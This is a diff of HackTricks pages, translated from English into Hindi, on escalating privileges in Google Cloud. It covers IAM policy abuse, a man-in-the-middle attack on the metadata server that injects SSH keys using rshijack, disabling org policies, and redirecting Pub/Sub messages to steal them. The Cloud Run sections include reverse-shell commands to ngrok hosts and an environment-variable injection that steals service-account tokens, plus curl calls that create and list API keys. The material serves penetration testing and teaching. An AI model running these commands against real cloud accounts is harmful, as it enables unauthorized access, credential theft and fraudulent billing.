यह अनुमति **अन्य प्रिंसिपल्स के लिए अधिकार बढ़ाने** की भी अनुमति दे सकती है यदि संसाधन कोड निष्पादित करने की अनुमति देता है और iam.ServiceAccounts.actAs आवश्यक नहीं है।
|
||||
|
||||
- _cloudfunctions.functions.setIamPolicy_
|
||||
- Modify the policy of a Cloud Function to allow yourself to invoke it.
|
||||
- एक क्लाउड फ़ंक्शन की नीति को संशोधित करें ताकि आप इसे कॉल कर सकें।
|
||||
|
||||
There are tens of resources types with this kind of permission, you can find all of them in [https://cloud.google.com/iam/docs/permissions-reference](https://cloud.google.com/iam/docs/permissions-reference) searching for setIamPolicy.
|
||||
इस प्रकार की अनुमति वाले कई संसाधन प्रकार हैं, आप सभी को [https://cloud.google.com/iam/docs/permissions-reference](https://cloud.google.com/iam/docs/permissions-reference) पर setIamPolicy के लिए खोजकर पा सकते हैं।
|
||||
|
||||
### \*.create, \*.update
|
||||
|
||||
These permissions can be very useful to try to escalate privileges in resources by **creating a new one or updating a new one**. These can of permissions are specially useful if you also has the permission **iam.serviceAccounts.actAs** over a Service Account and the resource you have .create/.update over can attach a service account.
|
||||
ये अनुमतियाँ संसाधनों में **नया बनाने या नए को अपडेट करने** के लिए अधिकार बढ़ाने के प्रयास में बहुत उपयोगी हो सकती हैं। ये प्रकार की अनुमतियाँ विशेष रूप से उपयोगी होती हैं यदि आपके पास एक सेवा खाते पर **iam.serviceAccounts.actAs** अनुमति भी है और जिस संसाधन पर आपके पास .create/.update है वह एक सेवा खाते को संलग्न कर सकता है।
|
||||
|
||||
### \*ServiceAccount\*
|
||||
|
||||
This permission will usually let you **access or modify a Service Account in some resource** (e.g.: compute.instances.setServiceAccount). This **could lead to a privilege escalation** vector, but it will depend on each case.
|
||||
यह अनुमति आमतौर पर आपको **किसी संसाधन में एक सेवा खाते तक पहुँचने या उसे संशोधित करने** की अनुमति देगी (जैसे: compute.instances.setServiceAccount)। यह **अधिकार बढ़ाने** के लिए एक वेक्टर हो सकता है, लेकिन यह प्रत्येक मामले पर निर्भर करेगा।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+15
-25
@@ -4,57 +4,47 @@
|
||||
|
||||
## Initial State
|
||||
|
||||
In both writeups where this technique is specified, the attackers managed to get **root** access inside a **Docker** container managed by GCP with access to the host network (and the capabilities **`CAP_NET_ADMIN`** and **`CAP_NET_RAW`**).
|
||||
इस तकनीक के विवरण वाले दोनों लेखों में, हमलावरों ने GCP द्वारा प्रबंधित **Docker** कंटेनर के अंदर **root** एक्सेस प्राप्त करने में सफलता पाई, जिसमें होस्ट नेटवर्क तक पहुंच (और क्षमताएँ **`CAP_NET_ADMIN`** और **`CAP_NET_RAW`**) शामिल थीं।
|
||||
|
||||
## Attack Explanation
|
||||
|
||||
On a Google Compute Engine instance, regular inspection of network traffic reveals numerous **plain HTTP requests** to the **metadata instance** at `169.254.169.254`. The [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), an open-source service, frequently makes such requests.
|
||||
Google Compute Engine इंस्टेंस पर, नेटवर्क ट्रैफिक की नियमित जांच **metadata instance** पर कई **plain HTTP requests** का खुलासा करती है जो `169.254.169.254` पर होती हैं। [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), एक ओपन-सोर्स सेवा, अक्सर ऐसे अनुरोध करती है।
|
||||
|
||||
This agent is designed to **monitor changes in the metadata**. Notably, the metadata includes a **field for SSH public keys**. When a new public SSH key is added to the metadata, the agent automatically **authorizes** it in the `.authorized_key` file. It may also **create a new user** and add them to **sudoers** if needed.
|
||||
यह एजेंट **metadata में परिवर्तनों की निगरानी** करने के लिए डिज़ाइन किया गया है। विशेष रूप से, मेटाडेटा में **SSH सार्वजनिक कुंजी के लिए एक फ़ील्ड** शामिल है। जब मेटाडेटा में एक नई सार्वजनिक SSH कुंजी जोड़ी जाती है, तो एजेंट स्वचालित रूप से इसे `.authorized_key` फ़ाइल में **अधिकृत** करता है। यदि आवश्यक हो, तो यह **एक नया उपयोगकर्ता** भी **sudoers** में जोड़ सकता है।
|
||||
|
||||
The agent monitors changes by sending a request to **retrieve all metadata values recursively** (`GET /computeMetadata/v1/?recursive=true`). This request is designed to prompt the metadata server to send a response only if there's any change in the metadata since the last retrieval, identified by an Etag (`wait_for_change=true&last_etag=`). Additionally, a **timeout** parameter (`timeout_sec=`) is included. If no change occurs within the specified timeout, the server responds with the **unchanged values**.
|
||||
एजेंट परिवर्तनों की निगरानी करने के लिए **सभी मेटाडेटा मानों को पुनरावृत्त रूप से प्राप्त करने** के लिए एक अनुरोध भेजता है (`GET /computeMetadata/v1/?recursive=true`)। यह अनुरोध मेटाडेटा सर्वर को केवल तब प्रतिक्रिया भेजने के लिए प्रेरित करने के लिए डिज़ाइन किया गया है जब पिछले पुनर्प्राप्ति के बाद मेटाडेटा में कोई परिवर्तन हुआ हो, जिसे एक Etag द्वारा पहचाना जाता है (`wait_for_change=true&last_etag=`)। इसके अतिरिक्त, एक **timeout** पैरामीटर (`timeout_sec=`) शामिल है। यदि निर्दिष्ट समय सीमा के भीतर कोई परिवर्तन नहीं होता है, तो सर्वर **अपरिवर्तित मानों** के साथ प्रतिक्रिया करता है।
|
||||
|
||||
This process allows the **IMDS** (Instance Metadata Service) to respond after **60 seconds** if no configuration change has occurred, creating a potential **window for injecting a fake configuration response** to the guest agent.
|
||||
यह प्रक्रिया **IMDS** (Instance Metadata Service) को **60 सेकंड** के बाद प्रतिक्रिया देने की अनुमति देती है यदि कोई कॉन्फ़िगरेशन परिवर्तन नहीं हुआ है, जिससे मेहमान एजेंट के लिए एक संभावित **फर्जी कॉन्फ़िगरेशन प्रतिक्रिया** इंजेक्ट करने का अवसर बनता है।
|
||||
|
||||
An attacker could exploit this by performing a **Man-in-the-Middle (MitM) attack**, spoofing the response from the IMDS server and **inserting a new public key**. This could enable unauthorized SSH access to the host.
|
||||
एक हमलावर इस स्थिति का लाभ उठाकर **Man-in-the-Middle (MitM) attack** कर सकता है, IMDS सर्वर से प्रतिक्रिया को स्पूफ करके और **एक नई सार्वजनिक कुंजी** डालकर। इससे होस्ट पर अनधिकृत SSH एक्सेस सक्षम हो सकता है।
|
||||
|
||||
### Escape Technique
|
||||
|
||||
While ARP spoofing is ineffective on Google Compute Engine networks, a [**modified version of rshijack**](https://github.com/ezequielpereira/rshijack) developed by [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) can be used for packet injection in the communication to inject the SSH user.
|
||||
हालांकि ARP स्पूफिंग Google Compute Engine नेटवर्क पर प्रभावी नहीं है, [**rshijack का एक संशोधित संस्करण**](https://github.com/ezequielpereira/rshijack) जो [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) द्वारा विकसित किया गया है, पैकेट इंजेक्शन के लिए संचार में SSH उपयोगकर्ता को इंजेक्ट करने के लिए उपयोग किया जा सकता है।
|
||||
|
||||
This version of rshijack allows inputting the ACK and SEQ numbers as command-line arguments, facilitating the spoofing of a response before the real Metadata server response. Additionally, a [**small Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) is used to return a **specially crafted payload**. This payload triggers the Google Guest Agent to **create a user `wouter`** with a specified public key in the `.authorized_keys` file.
|
||||
rshijack का यह संस्करण ACK और SEQ नंबरों को कमांड-लाइन तर्कों के रूप में इनपुट करने की अनुमति देता है, जिससे वास्तविक मेटाडेटा सर्वर प्रतिक्रिया से पहले प्रतिक्रिया को स्पूफ करना आसान हो जाता है। इसके अतिरिक्त, एक [**छोटी Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) का उपयोग **विशेष रूप से तैयार किए गए पेलोड** को लौटाने के लिए किया जाता है। यह पेलोड Google Guest Agent को **एक उपयोगकर्ता `wouter`** बनाने के लिए ट्रिगर करता है जिसमें `.authorized_keys` फ़ाइल में एक निर्दिष्ट सार्वजनिक कुंजी होती है।
|
||||
|
||||
The script uses the same ETag to prevent the Metadata server from immediately notifying the Google Guest Agent of different metadata values, thereby delaying the response.
|
||||
स्क्रिप्ट एक ही ETag का उपयोग करती है ताकि मेटाडेटा सर्वर तुरंत Google Guest Agent को विभिन्न मेटाडेटा मानों के बारे में सूचित न करे, इस प्रकार प्रतिक्रिया में देरी होती है।
|
||||
|
||||
To execute the spoofing, the following steps are necessary:
|
||||
|
||||
1. **Monitor requests to the Metadata server** using **tcpdump**:
|
||||
स्पूफिंग को निष्पादित करने के लिए, निम्नलिखित चरण आवश्यक हैं:
|
||||
|
||||
1. **Metadata सर्वर के लिए अनुरोधों की निगरानी करें** **tcpdump** का उपयोग करके:
|
||||
```bash
|
||||
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
|
||||
```
|
||||
|
||||
Look for a line similar to:
|
||||
|
||||
एक पंक्ति की तलाश करें जो इस तरह हो:
|
||||
```
|
||||
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
|
||||
```
|
||||
|
||||
2. Send the fake metadata data with the correct ETAG to rshijack:
|
||||
|
||||
2. सही ETAG के साथ नकली मेटाडेटा डेटा rshijack को भेजें:
|
||||
```bash
|
||||
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
|
||||
```
|
||||
यह कदम सार्वजनिक कुंजी को अधिकृत करता है, संबंधित निजी कुंजी के साथ SSH कनेक्शन सक्षम करता है।
|
||||
|
||||
This step authorizes the public key, enabling SSH connection with the corresponding private key.
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://www.ezequiel.tech/2020/08/dropping-shell-in.html](https://www.ezequiel.tech/2020/08/dropping-shell-in.html)
|
||||
- [https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,8 +6,7 @@
|
||||
|
||||
### `orgpolicy.policy.set`
|
||||
|
||||
An attacker leveraging **orgpolicy.policy.set** can manipulate organizational policies, which will allow him to remove certain restrictions impeding specific operations. For instance, the constraint **appengine.disableCodeDownload** usually blocks downloading of App Engine source code. However, by using **orgpolicy.policy.set**, an attacker can deactivate this constraint, thereby gaining access to download the source code, despite it initially being protected.
|
||||
|
||||
एक हमलावर जो **orgpolicy.policy.set** का उपयोग करता है, संगठनात्मक नीतियों में हेरफेर कर सकता है, जिससे उसे कुछ प्रतिबंधों को हटाने की अनुमति मिलती है जो विशिष्ट संचालन में बाधा डालते हैं। उदाहरण के लिए, प्रतिबंध **appengine.disableCodeDownload** आमतौर पर App Engine स्रोत कोड को डाउनलोड करने से रोकता है। हालाँकि, **orgpolicy.policy.set** का उपयोग करके, एक हमलावर इस प्रतिबंध को निष्क्रिय कर सकता है, जिससे उसे स्रोत कोड डाउनलोड करने की अनुमति मिलती है, भले ही यह प्रारंभ में सुरक्षित हो।
|
||||
```bash
|
||||
# Get info
|
||||
gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
@@ -15,15 +14,10 @@ gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --or
|
||||
# Disable
|
||||
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
```
|
||||
A python script for this method can be found [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
|
||||
|
||||
A python script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## PubSub
|
||||
|
||||
Get more information in:
|
||||
अधिक जानकारी प्राप्त करें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -12,30 +12,26 @@ Get more information in:
|
||||
|
||||
### `pubsub.snapshots.create`
|
||||
|
||||
The snapshots of topics **contain the current unACKed messages and every message after it**. You could create a snapshot of a topic to **access all the messages**, **avoiding access the topic directly**.
|
||||
विषयों के स्नैपशॉट्स **वर्तमान अनACKed संदेशों और इसके बाद के प्रत्येक संदेश को शामिल करते हैं**। आप एक विषय का स्नैपशॉट बना सकते हैं **सभी संदेशों तक पहुँचने के लिए**, **विषय को सीधे एक्सेस करने से बचते हुए**।
|
||||
|
||||
### **`pubsub.snapshots.setIamPolicy`**
|
||||
|
||||
Assign the pervious permissions to you.
|
||||
आपको पिछले अनुमतियाँ सौंपें।
|
||||
|
||||
### `pubsub.subscriptions.create`
|
||||
|
||||
You can create a push subscription in a topic that will be sending all the received messages to the indicated URL
|
||||
आप एक विषय में एक पुश सदस्यता बना सकते हैं जो सभी प्राप्त संदेशों को निर्दिष्ट URL पर भेजेगा।
|
||||
|
||||
### **`pubsub.subscriptions.update`**
|
||||
|
||||
Set your own URL as push endpoint to steal the messages.
|
||||
संदेशों को चुराने के लिए अपने स्वयं के URL को पुश एंडपॉइंट के रूप में सेट करें।
|
||||
|
||||
### `pubsub.subscriptions.consume`
|
||||
|
||||
Access messages using the subscription.
|
||||
सदस्यता का उपयोग करके संदेशों तक पहुँचें।
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Give yourself any of the preiovus permissions
|
||||
अपने लिए किसी भी पिछले अनुमतियों को दें।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+3
-7
@@ -6,18 +6,14 @@
|
||||
|
||||
### `resourcemanager.organizations.setIamPolicy`
|
||||
|
||||
Like in the exploitation of `iam.serviceAccounts.setIamPolicy`, this permission allows you to **modify** your **permissions** against **any resource** at **organization** level. So, you can follow the same exploitation example.
|
||||
`iam.serviceAccounts.setIamPolicy` के शोषण की तरह, यह अनुमति आपको **संशोधित** करने की अनुमति देती है आपके **अनुमतियों** को **किसी भी संसाधन** के खिलाफ **संगठन** स्तर पर। इसलिए, आप उसी शोषण उदाहरण का पालन कर सकते हैं।
|
||||
|
||||
### `resourcemanager.folders.setIamPolicy`
|
||||
|
||||
Like in the exploitation of `iam.serviceAccounts.setIamPolicy`, this permission allows you to **modify** your **permissions** against **any resource** at **folder** level. So, you can follow the same exploitation example.
|
||||
`iam.serviceAccounts.setIamPolicy` के शोषण की तरह, यह अनुमति आपको **संशोधित** करने की अनुमति देती है आपके **अनुमतियों** को **किसी भी संसाधन** के खिलाफ **फोल्डर** स्तर पर। इसलिए, आप उसी शोषण उदाहरण का पालन कर सकते हैं।
|
||||
|
||||
### `resourcemanager.projects.setIamPolicy`
|
||||
|
||||
Like in the exploitation of `iam.serviceAccounts.setIamPolicy`, this permission allows you to **modify** your **permissions** against **any resource** at **project** level. So, you can follow the same exploitation example.
|
||||
`iam.serviceAccounts.setIamPolicy` के शोषण की तरह, यह अनुमति आपको **संशोधित** करने की अनुमति देती है आपके **अनुमतियों** को **किसी भी संसाधन** के खिलाफ **प्रोजेक्ट** स्तर पर। इसलिए, आप उसी शोषण उदाहरण का पालन कर सकते हैं।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
For more information about Cloud Run check:
|
||||
Cloud Run के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,16 +12,15 @@ For more information about Cloud Run check:
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
An attacker with these permissions to **create a run service running arbitrary code** (arbitrary Docker container), attach a Service Account to it, and make the code **exfiltrate the Service Account token from the metadata**.
|
||||
एक हमलावर के पास **मनमाने कोड चलाने वाली एक रन सेवा बनाने** के लिए ये अनुमतियाँ हैं (मनमाना Docker कंटेनर), इसे एक सेवा खाता संलग्न करें, और कोड को **मेटाडेटा से सेवा खाता टोकन को एक्सफिल्ट्रेट** करने के लिए बनाएं।
|
||||
|
||||
An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
इस विधि के लिए एक एक्सप्लॉइट स्क्रिप्ट [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) मिल सकती है और Docker इमेज [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage) मिल सकती है।
|
||||
|
||||
Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
ध्यान दें कि जब `gcloud run deploy` का उपयोग किया जाता है तो केवल सेवा बनाने के बजाय **इसकी `update` अनुमति की आवश्यकता होती है**। एक [**उदाहरण यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh) देखें।
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Like the previous one but updating a service:
|
||||
|
||||
पिछले वाले की तरह लेकिन एक सेवा को अपडेट करते समय:
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -37,15 +36,13 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
Give yourself previous permissions over cloud Run.
|
||||
अपने आप को क्लाउड रन पर पिछले अनुमतियाँ दें।
|
||||
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Launch a job with a reverse shell to steal the service account indicated in the command. You can find an [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
|
||||
कमांड में निर्दिष्ट सेवा खाते को चुराने के लिए एक रिवर्स शेल के साथ एक नौकरी लॉन्च करें। आप [**यहां एक एक्सप्लॉइट पा सकते हैं**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -55,11 +52,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Similar to the previous one it's possible to **update a job and update the SA**, the **command** and **execute it**:
|
||||
|
||||
पिछले की तरह, **एक नौकरी को अपडेट करना और SA को अपडेट करना** संभव है, **कमांड** और **इसे निष्पादित करना**:
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -69,25 +64,18 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Give yourself the previous permissions over Cloud Jobs.
|
||||
अपने लिए Cloud Jobs पर पिछले अनुमतियाँ दें।
|
||||
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
Abuse the env variables of a job execution to execute arbitrary code and get a reverse shell to dump the contents of the container (source code) and access the SA inside the metadata:
|
||||
|
||||
एक नौकरी के निष्पादन के env वेरिएबल्स का दुरुपयोग करें ताकि मनमाना कोड निष्पादित किया जा सके और कंटेनर की सामग्री (स्रोत कोड) को डंप करने और मेटाडेटा के अंदर SA तक पहुँचने के लिए एक रिवर्स शेल प्राप्त किया जा सके:
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+5
-13
@@ -4,7 +4,7 @@
|
||||
|
||||
## secretmanager
|
||||
|
||||
For more information about secretmanager:
|
||||
secretmanager के बारे में अधिक जानकारी के लिए:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,13 +12,11 @@ For more information about secretmanager:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
This give you access to read the secrets from the secret manager and maybe this could help to escalate privielegs (depending on which information is sotred inside the secret):
|
||||
|
||||
यह आपको सीक्रेट मैनेजर से सीक्रेट पढ़ने की अनुमति देता है और शायद यह विशेषाधिकार बढ़ाने में मदद कर सकता है (इस पर निर्भर करता है कि सीक्रेट के अंदर कौन सी जानकारी संग्रहीत है):
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
|
||||
As this is also a post exploitation technique it can be found in:
|
||||
|
||||
{{#ref}}
|
||||
@@ -27,16 +25,10 @@ As this is also a post exploitation technique it can be found in:
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
This give you access to give you access to read the secrets from the secret manager, like using:
|
||||
|
||||
यह आपको सीक्रेट मैनेजर से सीक्रेट पढ़ने की अनुमति देता है, जैसे कि:
|
||||
```bash
|
||||
gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+11
-19
@@ -4,11 +4,11 @@
|
||||
|
||||
## serviceusage
|
||||
|
||||
The following permissions are useful to create and steal API keys, not this from the docs: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
|
||||
निम्नलिखित अनुमतियाँ API कुंजी बनाने और चुराने के लिए उपयोगी हैं, दस्तावेज़ से यह नोट करें: _एक API कुंजी एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **किसी भी प्रिंसिपल के बिना एक एप्लिकेशन की पहचान करती है**। ये **सार्वजनिक डेटा को गुमनाम रूप से** एक्सेस करने के लिए उपयोगी हैं, और आपके प्रोजेक्ट के लिए कोटा और **बिलिंग** के लिए API अनुरोधों को **संयुक्त** करने के लिए उपयोग की जाती हैं।_
|
||||
|
||||
Therefore, with an API key you can make that company pay for your use of the API, but you won't be able to escalate privileges.
|
||||
इसलिए, एक API कुंजी के साथ आप उस कंपनी को अपने API के उपयोग के लिए भुगतान करवा सकते हैं, लेकिन आप विशेषाधिकारों को बढ़ाने में सक्षम नहीं होंगे।
|
||||
|
||||
To learn other permissions and ways to generate API keys check:
|
||||
अन्य अनुमतियों और API कुंजी उत्पन्न करने के तरीकों को जानने के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
gcp-apikeys-privesc.md
|
||||
@@ -16,23 +16,19 @@ gcp-apikeys-privesc.md
|
||||
|
||||
### `serviceusage.apiKeys.create`
|
||||
|
||||
An undocumented API was found that can be used to **create API keys:**
|
||||
|
||||
एक undocumented API मिली है जिसका उपयोग **API कुंजी बनाने** के लिए किया जा सकता है:
|
||||
```bash
|
||||
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
|
||||
### `serviceusage.apiKeys.list`
|
||||
|
||||
Another undocumented API was found for listing API keys that have already been created (the API keys appears in the response):
|
||||
|
||||
एक और अप्रलेखित API मिली जो पहले से बनाए गए API कुंजियों की सूची बनाने के लिए है (API कुंजियाँ प्रतिक्रिया में दिखाई देती हैं):
|
||||
```bash
|
||||
curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
|
||||
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
|
||||
|
||||
With these permissions an attacker can enable and use new services in the project. This could allow an **attacker to enable service like admin or cloudidentity** to try to access Workspace information, or other services to access interesting data.
|
||||
इन अनुमतियों के साथ, एक हमलावर प्रोजेक्ट में नई सेवाओं को सक्षम और उपयोग कर सकता है। यह एक **हमलावर को admin या cloudidentity जैसी सेवाओं को सक्षम करने की अनुमति दे सकता है** ताकि वह Workspace जानकारी तक पहुँचने की कोशिश कर सके, या अन्य सेवाओं के माध्यम से दिलचस्प डेटा तक पहुँच सके।
|
||||
|
||||
## **References**
|
||||
|
||||
@@ -42,20 +38,16 @@ With these permissions an attacker can enable and use new services in the projec
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
क्या आप एक **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित होते देखना चाहते हैं**? या क्या आप **PEASS का नवीनतम संस्करण देखने या HackTricks को PDF में डाउनलोड करने** की इच्छा रखते हैं? [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
|
||||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
[**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
|
||||
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
[**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
|
||||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
**शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या **मुझे Twitter पर फॉलो करें** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
**अपने हैकिंग ट्रिक्स साझा करें PRs को** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks) पर सबमिट करके\*\*\*\*
|
||||
|
||||
**.**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+20
-32
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Source Repositories
|
||||
## स्रोत रिपॉजिटरी
|
||||
|
||||
For more information about Source Repositories check:
|
||||
Source Repositories के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-source-repositories-enum.md
|
||||
@@ -12,30 +12,28 @@ For more information about Source Repositories check:
|
||||
|
||||
### `source.repos.get`
|
||||
|
||||
With this permission it's possible to download the repository locally:
|
||||
|
||||
इस अनुमति के साथ, स्थानीय रूप से रिपॉजिटरी डाउनलोड करना संभव है:
|
||||
```bash
|
||||
gcloud source repos clone <repo-name> --project=<project-uniq-name>
|
||||
```
|
||||
|
